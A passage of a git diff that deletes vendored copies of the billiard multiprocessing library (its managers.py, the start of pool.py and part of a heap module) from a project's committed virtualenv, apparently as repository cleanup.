inherited -# - - -class BufferWrapper: - - _heap = Heap() - - def __init__(self, size): - assert 0 <= size < sys.maxsize - block = BufferWrapper._heap.malloc(size) - self._state = (block, size) - util.Finalize(self, BufferWrapper._heap.free, args=(block,)) - - def get_address(self): - (arena, start, stop), size = self._state - address, length = _billiard.address_of_buffer(arena.buffer) - assert size <= length - return address + start - - def get_size(self): - return self._state[1] - - def create_memoryview(self): - (arena, start, stop), size = self._state - return memoryview(arena.buffer)[start:start + size] diff --git a/backend/venv/Lib/site-packages/billiard/managers.py b/backend/venv/Lib/site-packages/billiard/managers.py deleted file mode 100644 index 6a496c65..00000000 --- a/backend/venv/Lib/site-packages/billiard/managers.py +++ /dev/null @@ -1,1210 +0,0 @@ -# -# Module providing the `SyncManager` class for dealing -# with shared objects -# -# multiprocessing/managers.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -# -# Imports -# - -import sys -import threading -import array - -from traceback import format_exc - -from . import connection -from . import context -from . import pool -from . import process -from . import reduction -from . import util -from . import get_context - -from queue import Queue -from time import monotonic - -__all__ = ['BaseManager', 'SyncManager', 'BaseProxy', 'Token'] - -PY3 = sys.version_info[0] == 3 - -# -# Register some things for pickling -# - - -if PY3: - def reduce_array(a): - return array.array, (a.typecode, a.tobytes()) -else: - def reduce_array(a): # noqa - return array.array, (a.typecode, a.tostring()) -reduction.register(array.array, reduce_array) - -view_types = [type(getattr({}, name)()) - for name in ('items', 'keys', 'values')] -if view_types[0] is not list: # only needed in Py3.0 - - def rebuild_as_list(obj): - return list, (list(obj), ) - for view_type in view_types: - reduction.register(view_type, rebuild_as_list) - -# -# Type for identifying shared objects -# - - -class Token: - ''' - Type to uniquely identify a shared object - ''' - __slots__ = ('typeid', 'address', 'id') - - def __init__(self, typeid, address, id): - (self.typeid, self.address, self.id) = (typeid, address, id) - - def __getstate__(self): - return (self.typeid, self.address, self.id) - - def __setstate__(self, state): - (self.typeid, self.address, self.id) = state - - def __repr__(self): - return '%s(typeid=%r, address=%r, id=%r)' % \ - (self.__class__.__name__, self.typeid, self.address, self.id) - -# -# Function for communication with a manager's server process -# - - -def dispatch(c, id, methodname, args=(), kwds={}): - ''' - Send a message to manager using connection `c` and return response - ''' - c.send((id, methodname, args, kwds)) - kind, result = c.recv() - if kind == '#RETURN': - return result - raise convert_to_error(kind, result) - - -def convert_to_error(kind, result): - if kind == '#ERROR': - return result - elif kind == '#TRACEBACK': - assert type(result) is str - return RemoteError(result) - elif kind == '#UNSERIALIZABLE': - assert type(result) is str - return RemoteError('Unserializable message: %s\n' % result) - else: - return ValueError('Unrecognized message type') - - -class RemoteError(Exception): - - def __str__(self): - return ('\n' + '-' * 75 + '\n' + str(self.args[0]) + '-' * 75) - -# -# Functions for finding the method names of an object -# - - -def all_methods(obj): - ''' - Return a list of names of methods of `obj` - ''' - temp = [] - for name in dir(obj): - func = getattr(obj, name) - if callable(func): - temp.append(name) - return temp - - -def public_methods(obj): - ''' - Return a list of names of methods of `obj` which do not start with '_' - ''' - return [name for name in all_methods(obj) if name[0] != '_'] - -# -# Server which is run in a process controlled by a manager -# - - -class Server: - ''' - Server class which runs in a process controlled by a manager object - ''' - public = ['shutdown', 'create', 'accept_connection', 'get_methods', - 'debug_info', 'number_of_objects', 'dummy', 'incref', 'decref'] - - def __init__(self, registry, address, authkey, serializer): - assert isinstance(authkey, bytes) - self.registry = registry - self.authkey = process.AuthenticationString(authkey) - Listener, Client = listener_client[serializer] - - # do authentication later - self.listener = Listener(address=address, backlog=16) - self.address = self.listener.address - - self.id_to_obj = {'0': (None, ())} - self.id_to_refcount = {} - self.mutex = threading.RLock() - - def serve_forever(self): - ''' - Run the server forever - ''' - self.stop_event = threading.Event() - process.current_process()._manager_server = self - try: - accepter = threading.Thread(target=self.accepter) - accepter.daemon = True - accepter.start() - try: - while not self.stop_event.is_set(): - self.stop_event.wait(1) - except (KeyboardInterrupt, SystemExit): - pass - finally: - if sys.stdout != sys.__stdout__: - util.debug('resetting stdout, stderr') - sys.stdout = sys.__stdout__ - sys.stderr = sys.__stderr__ - sys.exit(0) - - def accepter(self): - while True: - try: - c = self.listener.accept() - except OSError: - continue - t = threading.Thread(target=self.handle_request, args=(c, )) - t.daemon = True - t.start() - - def handle_request(self, c): - ''' - Handle a new connection - ''' - funcname = result = request = None - try: - connection.deliver_challenge(c, self.authkey) - connection.answer_challenge(c, self.authkey) - request = c.recv() - ignore, funcname, args, kwds = request - assert funcname in self.public, '%r unrecognized' % funcname - func = getattr(self, funcname) - except Exception: - msg = ('#TRACEBACK', format_exc()) - else: - try: - result = func(c, *args, **kwds) - except Exception: - msg = ('#TRACEBACK', format_exc()) - else: - msg = ('#RETURN', result) - try: - c.send(msg) - except Exception as exc: - try: - c.send(('#TRACEBACK', format_exc())) - except Exception: - pass - util.info('Failure to send message: %r', msg) - util.info(' ... request was %r', request) - util.info(' ... exception was %r', exc) - - c.close() - - def serve_client(self, conn): - ''' - Handle requests from the proxies in a particular process/thread - ''' - util.debug('starting server thread to service %r', - threading.current_thread().name) - - recv = conn.recv - send = conn.send - id_to_obj = self.id_to_obj - - while not self.stop_event.is_set(): - - try: - methodname = obj = None - request = recv() - ident, methodname, args, kwds = request - obj, exposed, gettypeid = id_to_obj[ident] - - if methodname not in exposed: - raise AttributeError( - 'method %r of %r object is not in exposed=%r' % ( - methodname, type(obj), exposed) - ) - - function = getattr(obj, methodname) - - try: - res = function(*args, **kwds) - except Exception as exc: - msg = ('#ERROR', exc) - else: - typeid = gettypeid and gettypeid.get(methodname, None) - if typeid: - rident, rexposed = self.create(conn, typeid, res) - token = Token(typeid, self.address, rident) - msg = ('#PROXY', (rexposed, token)) - else: - msg = ('#RETURN', res) - - except AttributeError: - if methodname is None: - msg = ('#TRACEBACK', format_exc()) - else: - try: - fallback_func = self.fallback_mapping[methodname] - result = fallback_func( - self, conn, ident, obj, *args, **kwds - ) - msg = ('#RETURN', result) - except Exception: - msg = ('#TRACEBACK', format_exc()) - - except EOFError: - util.debug('got EOF -- exiting thread serving %r', - threading.current_thread().name) - sys.exit(0) - - except Exception: - msg = ('#TRACEBACK', format_exc()) - - try: - try: - send(msg) - except Exception: - send(('#UNSERIALIZABLE', repr(msg))) - except Exception as exc: - util.info('exception in thread serving %r', - threading.current_thread().name) - util.info(' ... message was %r', msg) - util.info(' ... exception was %r', exc) - conn.close() - sys.exit(1) - - def fallback_getvalue(self, conn, ident, obj): - return obj - - def fallback_str(self, conn, ident, obj): - return str(obj) - - def fallback_repr(self, conn, ident, obj): - return repr(obj) - - fallback_mapping = { - '__str__': fallback_str, - '__repr__': fallback_repr, - '#GETVALUE': fallback_getvalue, - } - - def dummy(self, c): - pass - - def debug_info(self, c): - ''' - Return some info --- useful to spot problems with refcounting - ''' - with self.mutex: - result = [] - keys = list(self.id_to_obj.keys()) - keys.sort() - for ident in keys: - if ident != '0': - result.append(' %s: refcount=%s\n %s' % - (ident, self.id_to_refcount[ident], - str(self.id_to_obj[ident][0])[:75])) - return '\n'.join(result) - - def number_of_objects(self, c): - ''' - Number of shared objects - ''' - return len(self.id_to_obj) - 1 # don't count ident='0' - - def shutdown(self, c): - ''' - Shutdown this process - ''' - try: - util.debug('Manager received shutdown message') - c.send(('#RETURN', None)) - except: - import traceback - traceback.print_exc() - finally: - self.stop_event.set() - - def create(self, c, typeid, *args, **kwds): - ''' - Create a new shared object and return its id - ''' - with self.mutex: - callable, exposed, method_to_typeid, proxytype = \ - self.registry[typeid] - - if callable is None: - assert len(args) == 1 and not kwds - obj = args[0] - else: - obj = callable(*args, **kwds) - - if exposed is None: - exposed = public_methods(obj) - if method_to_typeid is not None: - assert type(method_to_typeid) is dict - exposed = list(exposed) + list(method_to_typeid) - # convert to string because xmlrpclib - # only has 32 bit signed integers - ident = '%x' % id(obj) - util.debug('%r callable returned object with id %r', typeid, ident) - - self.id_to_obj[ident] = (obj, set(exposed), method_to_typeid) - if ident not in self.id_to_refcount: - self.id_to_refcount[ident] = 0 - # increment the reference count immediately, to avoid - # this object being garbage collected before a Proxy - # object for it can be created. The caller of create() - # is responsible for doing a decref once the Proxy object - # has been created. - self.incref(c, ident) - return ident, tuple(exposed) - - def get_methods(self, c, token): - ''' - Return the methods of the shared object indicated by token - ''' - return tuple(self.id_to_obj[token.id][1]) - - def accept_connection(self, c, name): - ''' - Spawn a new thread to serve this connection - ''' - threading.current_thread().name = name - c.send(('#RETURN', None)) - self.serve_client(c) - - def incref(self, c, ident): - with self.mutex: - self.id_to_refcount[ident] += 1 - - def decref(self, c, ident): - with self.mutex: - assert self.id_to_refcount[ident] >= 1 - self.id_to_refcount[ident] -= 1 - if self.id_to_refcount[ident] == 0: - del self.id_to_obj[ident], self.id_to_refcount[ident] - util.debug('disposing of obj with id %r', ident) - -# -# Class to represent state of a manager -# - - -class State: - __slots__ = ['value'] - INITIAL = 0 - STARTED = 1 - SHUTDOWN = 2 - -# -# Mapping from serializer name to Listener and Client types -# - -listener_client = { - 'pickle': (connection.Listener, connection.Client), - 'xmlrpclib': (connection.XmlListener, connection.XmlClient), -} - -# -# Definition of BaseManager -# - - -class BaseManager: - ''' - Base class for managers - ''' - _registry = {} - _Server = Server - - def __init__(self, address=None, authkey=None, serializer='pickle', - ctx=None): - if authkey is None: - authkey = process.current_process().authkey - self._address = address # XXX not final address if eg ('', 0) - self._authkey = process.AuthenticationString(authkey) - self._state = State() - self._state.value = State.INITIAL - self._serializer = serializer - self._Listener, self._Client = listener_client[serializer] - self._ctx = ctx or get_context() - - def __reduce__(self): - return (type(self).from_address, - (self._address, self._authkey, self._serializer)) - - def get_server(self): - ''' - Return server object with serve_forever() method and address attribute - ''' - assert self._state.value == State.INITIAL - return Server(self._registry, self._address, - self._authkey, self._serializer) - - def connect(self): - ''' - Connect manager object to the server process - ''' - Listener, Client = listener_client[self._serializer] - conn = Client(self._address, authkey=self._authkey) - dispatch(conn, None, 'dummy') - self._state.value = State.STARTED - - def start(self, initializer=None, initargs=()): - ''' - Spawn a server process for this manager object - ''' - assert self._state.value == State.INITIAL - - if initializer is not None and not callable(initializer): - raise TypeError('initializer must be a callable') - - # pipe over which we will retrieve address of server - reader, writer = connection.Pipe(duplex=False) - - # spawn process which runs a server - self._process = self._ctx.Process( - target=type(self)._run_server, - args=(self._registry, self._address, self._authkey, - self._serializer, writer, initializer, initargs), - ) - ident = ':'.join(str(i) for i in self._process._identity) - self._process.name = type(self).__name__ + '-' + ident - self._process.start() - - # get address of server - writer.close() - self._address = reader.recv() - reader.close() - - # register a finalizer - self._state.value = State.STARTED - self.shutdown = util.Finalize( - self, type(self)._finalize_manager, - args=(self._process, self._address, self._authkey, - self._state, self._Client), - exitpriority=0 - ) - - @classmethod - def _run_server(cls, registry, address, authkey, serializer, writer, - initializer=None, initargs=()): - ''' - Create a server, report its address and run it - ''' - if initializer is not None: - initializer(*initargs) - - # create server - server = cls._Server(registry, address, authkey, serializer) - - # inform parent process of the server's address - writer.send(server.address) - writer.close() - - # run the manager - util.info('manager serving at %r', server.address) - server.serve_forever() - - def _create(self, typeid, *args, **kwds): - ''' - Create a new shared object; return the token and exposed tuple - ''' - assert self._state.value == State.STARTED, 'server not yet started' - conn = self._Client(self._address, authkey=self._authkey) - try: - id, exposed = dispatch(conn, None, 'create', - (typeid,) + args, kwds) - finally: - conn.close() - return Token(typeid, self._address, id), exposed - - def join(self, timeout=None): - ''' - Join the manager process (if it has been spawned) - ''' - if self._process is not None: - self._process.join(timeout) - if not self._process.is_alive(): - self._process = None - - def _debug_info(self): - ''' - Return some info about the servers shared objects and connections - ''' - conn = self._Client(self._address, authkey=self._authkey) - try: - return dispatch(conn, None, 'debug_info') - finally: - conn.close() - - def _number_of_objects(self): - ''' - Return the number of shared objects - ''' - conn = self._Client(self._address, authkey=self._authkey) - try: - return dispatch(conn, None, 'number_of_objects') - finally: - conn.close() - - def __enter__(self): - if self._state.value == State.INITIAL: - self.start() - assert self._state.value == State.STARTED - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - self.shutdown() - - @staticmethod - def _finalize_manager(process, address, authkey, state, _Client): - ''' - Shutdown the manager process; will be registered as a finalizer - ''' - if process.is_alive(): - util.info('sending shutdown message to manager') - try: - conn = _Client(address, authkey=authkey) - try: - dispatch(conn, None, 'shutdown') - finally: - conn.close() - except Exception: - pass - - process.join(timeout=1.0) - if process.is_alive(): - util.info('manager still alive') - if hasattr(process, 'terminate'): - util.info('trying to `terminate()` manager process') - process.terminate() - process.join(timeout=0.1) - if process.is_alive(): - util.info('manager still alive after terminate') - - state.value = State.SHUTDOWN - try: - del BaseProxy._address_to_local[address] - except KeyError: - pass - - address = property(lambda self: self._address) - - @classmethod - def register(cls, typeid, callable=None, proxytype=None, exposed=None, - method_to_typeid=None, create_method=True): - ''' - Register a typeid with the manager type - ''' - if '_registry' not in cls.__dict__: - cls._registry = cls._registry.copy() - - if proxytype is None: - proxytype = AutoProxy - - exposed = exposed or getattr(proxytype, '_exposed_', None) - - method_to_typeid = ( - method_to_typeid or - getattr(proxytype, '_method_to_typeid_', None) - ) - - if method_to_typeid: - for key, value in method_to_typeid.items(): - assert type(key) is str, '%r is not a string' % key - assert type(value) is str, '%r is not a string' % value - - cls._registry[typeid] = ( - callable, exposed, method_to_typeid, proxytype - ) - - if create_method: - def temp(self, *args, **kwds): - util.debug('requesting creation of a shared %r object', typeid) - token, exp = self._create(typeid, *args, **kwds) - proxy = proxytype( - token, self._serializer, manager=self, - authkey=self._authkey, exposed=exp - ) - conn = self._Client(token.address, authkey=self._authkey) - dispatch(conn, None, 'decref', (token.id,)) - return proxy - temp.__name__ = typeid - setattr(cls, typeid, temp) - -# -# Subclass of set which get cleared after a fork -# - - -class ProcessLocalSet(set): - - def __init__(self): - util.register_after_fork(self, lambda obj: obj.clear()) - - def __reduce__(self): - return type(self), () - -# -# Definition of BaseProxy -# - - -class BaseProxy: - ''' - A base for proxies of shared objects - ''' - _address_to_local = {} - _mutex = util.ForkAwareThreadLock() - - def __init__(self, token, serializer, manager=None, - authkey=None, exposed=None, incref=True): - with BaseProxy._mutex: - tls_idset = BaseProxy._address_to_local.get(token.address, None) - if tls_idset is None: - tls_idset = util.ForkAwareLocal(), ProcessLocalSet() - BaseProxy._address_to_local[token.address] = tls_idset - - # self._tls is used to record the connection used by this - # thread to communicate with the manager at token.address - self._tls = tls_idset[0] - - # self._idset is used to record the identities of all shared - # objects for which the current process owns references and - # which are in the manager at token.address - self._idset = tls_idset[1] - - self._token = token - self._id = self._token.id - self._manager = manager - self._serializer = serializer - self._Client = listener_client[serializer][1] - - if authkey is not None: - self._authkey = process.AuthenticationString(authkey) - elif self._manager is not None: - self._authkey = self._manager._authkey - else: - self._authkey = process.current_process().authkey - - if incref: - self._incref() - - util.register_after_fork(self, BaseProxy._after_fork) - - def _connect(self): - util.debug('making connection to manager') - name = process.current_process().name - if threading.current_thread().name != 'MainThread': - name += '|' + threading.current_thread().name - conn = self._Client(self._token.address, authkey=self._authkey) - dispatch(conn, None, 'accept_connection', (name,)) - self._tls.connection = conn - - def _callmethod(self, methodname, args=(), kwds={}): - ''' - Try to call a method of the referrent and return a copy of the result - ''' - try: - conn = self._tls.connection - except AttributeError: - util.debug('thread %r does not own a connection', - threading.current_thread().name) - self._connect() - conn = self._tls.connection - - conn.send((self._id, methodname, args, kwds)) - kind, result = conn.recv() - - if kind == '#RETURN': - return result - elif kind == '#PROXY': - exposed, token = result - proxytype = self._manager._registry[token.typeid][-1] - token.address = self._token.address - proxy = proxytype( - token, self._serializer, manager=self._manager, - authkey=self._authkey, exposed=exposed - ) - conn = self._Client(token.address, authkey=self._authkey) - dispatch(conn, None, 'decref', (token.id,)) - return proxy - raise convert_to_error(kind, result) - - def _getvalue(self): - ''' - Get a copy of the value of the referent - ''' - return self._callmethod('#GETVALUE') - - def _incref(self): - conn = self._Client(self._token.address, authkey=self._authkey) - dispatch(conn, None, 'incref', (self._id,)) - util.debug('INCREF %r', self._token.id) - - self._idset.add(self._id) - - state = self._manager and self._manager._state - - self._close = util.Finalize( - self, BaseProxy._decref, - args=(self._token, self._authkey, state, - self._tls, self._idset, self._Client), - exitpriority=10 - ) - - @staticmethod - def _decref(token, authkey, state, tls, idset, _Client): - idset.discard(token.id) - - # check whether manager is still alive - if state is None or state.value == State.STARTED: - # tell manager this process no longer cares about referent - try: - util.debug('DECREF %r', token.id) - conn = _Client(token.address, authkey=authkey) - dispatch(conn, None, 'decref', (token.id,)) - except Exception as exc: - util.debug('... decref failed %s', exc) - - else: - util.debug('DECREF %r -- manager already shutdown', token.id) - - # check whether we can close this thread's connection because - # the process owns no more references to objects for this manager - if not idset and hasattr(tls, 'connection'): - util.debug('thread %r has no more proxies so closing conn', - threading.current_thread().name) - tls.connection.close() - del tls.connection - - def _after_fork(self): - self._manager = None - try: - self._incref() - except Exception as exc: - # the proxy may just be for a manager which has shutdown - util.info('incref failed: %s', exc) - - def __reduce__(self): - kwds = {} - if context.get_spawning_popen() is not None: - kwds['authkey'] = self._authkey - - if getattr(self, '_isauto', False): - kwds['exposed'] = self._exposed_ - return (RebuildProxy, - (AutoProxy, self._token, self._serializer, kwds)) - else: - return (RebuildProxy, - (type(self), self._token, self._serializer, kwds)) - - def __deepcopy__(self, memo): - return self._getvalue() - - def __repr__(self): - return '<%s object, typeid %r at %#x>' % \ - (type(self).__name__, self._token.typeid, id(self)) - - def __str__(self): - ''' - Return representation of the referent (or a fall-back if that fails) - ''' - try: - return self._callmethod('__repr__') - except Exception: - return repr(self)[:-1] + "; '__str__()' failed>" - -# -# Function used for unpickling -# - - -def RebuildProxy(func, token, serializer, kwds): - ''' - Function used for unpickling proxy objects. - - If possible the shared object is returned, or otherwise a proxy for it. - ''' - server = getattr(process.current_process(), '_manager_server', None) - - if server and server.address == token.address: - return server.id_to_obj[token.id][0] - else: - incref = ( - kwds.pop('incref', True) and - not getattr(process.current_process(), '_inheriting', False) - ) - return func(token, serializer, incref=incref, **kwds) - -# -# Functions to create proxies and proxy types -# - - -def MakeProxyType(name, exposed, _cache={}): - ''' - Return an proxy type whose methods are given by `exposed` - ''' - exposed = tuple(exposed) - try: - return _cache[(name, exposed)] - except KeyError: - pass - - dic = {} - - for meth in exposed: - exec('''def %s(self, *args, **kwds): - return self._callmethod(%r, args, kwds)''' % (meth, meth), dic) - - ProxyType = type(name, (BaseProxy,), dic) - ProxyType._exposed_ = exposed - _cache[(name, exposed)] = ProxyType - return ProxyType - - -def AutoProxy(token, serializer, manager=None, authkey=None, - exposed=None, incref=True): - ''' - Return an auto-proxy for `token` - ''' - _Client = listener_client[serializer][1] - - if exposed is None: - conn = _Client(token.address, authkey=authkey) - try: - exposed = dispatch(conn, None, 'get_methods', (token,)) - finally: - conn.close() - - if authkey is None and manager is not None: - authkey = manager._authkey - if authkey is None: - authkey = process.current_process().authkey - - ProxyType = MakeProxyType('AutoProxy[%s]' % token.typeid, exposed) - proxy = ProxyType(token, serializer, manager=manager, authkey=authkey, - incref=incref) - proxy._isauto = True - return proxy - -# -# Types/callables which we will register with SyncManager -# - - -class Namespace: - - def __init__(self, **kwds): - self.__dict__.update(kwds) - - def __repr__(self): - _items = list(self.__dict__.items()) - temp = [] - for name, value in _items: - if not name.startswith('_'): - temp.append('%s=%r' % (name, value)) - temp.sort() - return '%s(%s)' % (self.__class__.__name__, ', '.join(temp)) - - -class Value: - - def __init__(self, typecode, value, lock=True): - self._typecode = typecode - self._value = value - - def get(self): - return self._value - - def set(self, value): - self._value = value - - def __repr__(self): - return '%s(%r, %r)' % (type(self).__name__, - self._typecode, self._value) - value = property(get, set) - - -def Array(typecode, sequence, lock=True): - return array.array(typecode, sequence) - -# -# Proxy types used by SyncManager -# - - -class IteratorProxy(BaseProxy): - if sys.version_info[0] == 3: - _exposed = ('__next__', 'send', 'throw', 'close') - else: - _exposed_ = ('__next__', 'next', 'send', 'throw', 'close') - - def next(self, *args): - return self._callmethod('next', args) - - def __iter__(self): - return self - - def __next__(self, *args): - return self._callmethod('__next__', args) - - def send(self, *args): - return self._callmethod('send', args) - - def throw(self, *args): - return self._callmethod('throw', args) - - def close(self, *args): - return self._callmethod('close', args) - - -class AcquirerProxy(BaseProxy): - _exposed_ = ('acquire', 'release') - - def acquire(self, blocking=True, timeout=None): - args = (blocking, ) if timeout is None else (blocking, timeout) - return self._callmethod('acquire', args) - - def release(self): - return self._callmethod('release') - - def __enter__(self): - return self._callmethod('acquire') - - def __exit__(self, exc_type, exc_val, exc_tb): - return self._callmethod('release') - - -class ConditionProxy(AcquirerProxy): - _exposed_ = ('acquire', 'release', 'wait', 'notify', 'notify_all') - - def wait(self, timeout=None): - return self._callmethod('wait', (timeout,)) - - def notify(self): - return self._callmethod('notify') - - def notify_all(self): - return self._callmethod('notify_all') - - def wait_for(self, predicate, timeout=None): - result = predicate() - if result: - return result - if timeout is not None: - endtime = monotonic() + timeout - else: - endtime = None - waittime = None - while not result: - if endtime is not None: - waittime = endtime - monotonic() - if waittime <= 0: - break - self.wait(waittime) - result = predicate() - return result - - -class EventProxy(BaseProxy): - _exposed_ = ('is_set', 'set', 'clear', 'wait') - - def is_set(self): - return self._callmethod('is_set') - - def set(self): - return self._callmethod('set') - - def clear(self): - return self._callmethod('clear') - - def wait(self, timeout=None): - return self._callmethod('wait', (timeout,)) - - -class BarrierProxy(BaseProxy): - _exposed_ = ('__getattribute__', 'wait', 'abort', 'reset') - - def wait(self, timeout=None): - return self._callmethod('wait', (timeout, )) - - def abort(self): - return self._callmethod('abort') - - def reset(self): - return self._callmethod('reset') - - @property - def parties(self): - return self._callmethod('__getattribute__', ('parties', )) - - @property - def n_waiting(self): - return self._callmethod('__getattribute__', ('n_waiting', )) - - @property - def broken(self): - return self._callmethod('__getattribute__', ('broken', )) - - -class NamespaceProxy(BaseProxy): - _exposed_ = ('__getattribute__', '__setattr__', '__delattr__') - - def __getattr__(self, key): - if key[0] == '_': - return object.__getattribute__(self, key) - callmethod = object.__getattribute__(self, '_callmethod') - return callmethod('__getattribute__', (key,)) - - def __setattr__(self, key, value): - if key[0] == '_': - return object.__setattr__(self, key, value) - callmethod = object.__getattribute__(self, '_callmethod') - return callmethod('__setattr__', (key, value)) - - def __delattr__(self, key): - if key[0] == '_': - return object.__delattr__(self, key) - callmethod = object.__getattribute__(self, '_callmethod') - return callmethod('__delattr__', (key,)) - - -class ValueProxy(BaseProxy): - _exposed_ = ('get', 'set') - - def get(self): - return self._callmethod('get') - - def set(self, value): - return self._callmethod('set', (value,)) - value = property(get, set) - - -_ListProxy_Attributes = ( - '__add__', '__contains__', '__delitem__', '__getitem__', '__len__', - '__mul__', '__reversed__', '__rmul__', '__setitem__', - 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', - 'reverse', 'sort', '__imul__', -) -if not PY3: - _ListProxy_Attributes += ('__getslice__', '__setslice__', '__delslice__') -BaseListProxy = MakeProxyType('BaseListProxy', _ListProxy_Attributes) - - -class ListProxy(BaseListProxy): - - def __iadd__(self, value): - self._callmethod('extend', (value,)) - return self - - def __imul__(self, value): - self._callmethod('__imul__', (value,)) - return self - - -DictProxy = MakeProxyType('DictProxy', ( - '__contains__', '__delitem__', '__getitem__', '__len__', - '__setitem__', 'clear', 'copy', 'get', 'has_key', 'items', - 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', -)) - - -_ArrayProxy_Attributes = ( - '__len__', '__getitem__', '__setitem__', -) -if not PY3: - _ArrayProxy_Attributes += ('__getslice__', '__setslice__') -ArrayProxy = MakeProxyType('ArrayProxy', _ArrayProxy_Attributes) - - -BasePoolProxy = MakeProxyType('PoolProxy', ( - 'apply', 'apply_async', 'close', 'imap', 'imap_unordered', 'join', - 'map', 'map_async', 'starmap', 'starmap_async', 'terminate', -)) -BasePoolProxy._method_to_typeid_ = { - 'apply_async': 'AsyncResult', - 'map_async': 'AsyncResult', - 'starmap_async': 'AsyncResult', - 'imap': 'Iterator', - 'imap_unordered': 'Iterator', -} - - -class PoolProxy(BasePoolProxy): - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.terminate() - - -# -# Definition of SyncManager -# - - -class SyncManager(BaseManager): - ''' - Subclass of `BaseManager` which supports a number of shared object types. - - The types registered are those intended for the synchronization - of threads, plus `dict`, `list` and `Namespace`. - - The `billiard.Manager()` function creates started instances of - this class. - ''' - -SyncManager.register('Queue', Queue) -SyncManager.register('JoinableQueue', Queue) -SyncManager.register('Event', threading.Event, EventProxy) -SyncManager.register('Lock', threading.Lock, AcquirerProxy) -SyncManager.register('RLock', threading.RLock, AcquirerProxy) -SyncManager.register('Semaphore', threading.Semaphore, AcquirerProxy) -SyncManager.register('BoundedSemaphore', threading.BoundedSemaphore, - AcquirerProxy) -SyncManager.register('Condition', threading.Condition, ConditionProxy) -if hasattr(threading, 'Barrier'): # PY3 - SyncManager.register('Barrier', threading.Barrier, BarrierProxy) -SyncManager.register('Pool', pool.Pool, PoolProxy) -SyncManager.register('list', list, ListProxy) -SyncManager.register('dict', dict, DictProxy) -SyncManager.register('Value', Value, ValueProxy) -SyncManager.register('Array', Array, ArrayProxy) -SyncManager.register('Namespace', Namespace, NamespaceProxy) - -# types returned by methods of PoolProxy -SyncManager.register('Iterator', proxytype=IteratorProxy, create_method=False) -SyncManager.register('AsyncResult', create_method=False) diff --git a/backend/venv/Lib/site-packages/billiard/pool.py b/backend/venv/Lib/site-packages/billiard/pool.py deleted file mode 100644 index da4cc4ea..00000000 --- a/backend/venv/Lib/site-packages/billiard/pool.py +++ /dev/null @@ -1,2053 +0,0 @@ -# -# Module providing the `Pool` class for managing a process pool -# -# multiprocessing/pool.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -# -# Imports -# -import copy -import errno -import itertools -import os -import platform -import signal -import sys -import threading -import time -import warnings - -from collections import deque -from functools import partial - -from . import cpu_count, get_context -from . import util -from .common import ( - TERM_SIGNAL, human_status, pickle_loads, reset_signals, restart_state, -) -from .compat import get_errno, mem_rss, send_offset -from .einfo import ExceptionInfo -from .dummy import DummyProcess -from .exceptions import ( - CoroStop, - RestartFreqExceeded, - SoftTimeLimitExceeded, - Terminated, - TimeLimitExceeded, - TimeoutError, - WorkerLostError, -) -from time import monotonic -from queue import Queue, Empty -from .util import Finalize, debug, warning - -MAXMEM_USED_FMT = """\ -child process exiting after exceeding memory limit ({0}KiB / {1}KiB) -""" - -PY3 = sys.version_info[0] == 3 - -if platform.system() == 'Windows': # pragma: no cover - # On Windows os.kill calls TerminateProcess which cannot be - # handled by # any process, so this is needed to terminate the task - # *and its children* (if any). - from ._win import kill_processtree as _kill # noqa - SIGKILL = TERM_SIGNAL -else: - from os import kill as _kill # noqa - SIGKILL = signal.SIGKILL - - -try: - TIMEOUT_MAX = threading.TIMEOUT_MAX -except AttributeError: # pragma: no cover - TIMEOUT_MAX = 1e10 # noqa - - -if sys.version_info >= (3, 3): - _Semaphore = threading.Semaphore -else: - # Semaphore is a factory function pointing to _Semaphore - _Semaphore = threading._Semaphore # noqa - -# -# Constants representing the state of a pool -# - -RUN = 0 -CLOSE = 1 -TERMINATE = 2 - -# -# Constants representing the state of a job -# - -ACK = 0 -READY = 1 -TASK = 2 -NACK = 3 -DEATH = 4 - -# -# Exit code constants -# -EX_OK = 0 -EX_FAILURE = 1 -EX_RECYCLE = 0x9B - - -# Signal used for soft time limits. -SIG_SOFT_TIMEOUT = getattr(signal, "SIGUSR1", None) - -# -# Miscellaneous -# - -LOST_WORKER_TIMEOUT = 10.0 -EX_OK = getattr(os, "EX_OK", 0) -GUARANTEE_MESSAGE_CONSUMPTION_RETRY_LIMIT = 300 -GUARANTEE_MESSAGE_CONSUMPTION_RETRY_INTERVAL = 0.1 - -job_counter = itertools.count() - -Lock = threading.Lock - - -def _get_send_offset(connection): - try: - native = connection.send_offset - except AttributeError: - native = None - if native is None: - return partial(send_offset, connection.fileno()) - return native - - -def mapstar(args): - return list(map(*args)) - - -def starmapstar(args): - return list(itertools.starmap(args[0], args[1])) - - -def error(msg, *args, **kwargs): - util.get_logger().error(msg, *args, **kwargs) - - -def stop_if_not_current(thread, timeout=None): - if thread is not threading.current_thread(): - thread.stop(timeout) - - -class LaxBoundedSemaphore(_Semaphore): - """Semaphore that checks that # release is <= # acquires, - but ignores if # releases >= value.""" - - def shrink(self): - self._initial_value -= 1 - self.acquire() - - if PY3: - - def __init__(self, value=1, verbose=None): - _Semaphore.__init__(self, value) - self._initial_value = value - - def grow(self): - with self._cond: - self._initial_value += 1 - self._value += 1 - self._cond.notify() - - def release(self): - cond = self._cond - with cond: - if self._value < self._initial_value: - self._value += 1 - cond.notify_all() - - def clear(self): - while self._value < self._initial_value: - _Semaphore.release(self) - else: - - def __init__(self, value=1, verbose=None): - _Semaphore.__init__(self, value, verbose) - self._initial_value = value - - def grow(self): - cond = self._Semaphore__cond - with cond: - self._initial_value += 1 - self._Semaphore__value += 1 - cond.notify() - - def release(self): # noqa - cond = self._Semaphore__cond - with cond: - if self._Semaphore__value < self._initial_value: - self._Semaphore__value += 1 - cond.notifyAll() - - def clear(self): # noqa - while self._Semaphore__value < self._initial_value: - _Semaphore.release(self) - -# -# Exceptions -# - - -class MaybeEncodingError(Exception): - """Wraps possible unpickleable errors, so they can be - safely sent through the socket.""" - - def __init__(self, exc, value): - self.exc = repr(exc) - self.value = repr(value) - super().__init__(self.exc, self.value) - - def __repr__(self): - return "<%s: %s>" % (self.__class__.__name__, str(self)) - - def __str__(self): - return "Error sending result: '%r'. Reason: '%r'." % ( - self.value, self.exc) - - -class WorkersJoined(Exception): - """All workers have terminated.""" - - -def soft_timeout_sighandler(signum, frame): - raise 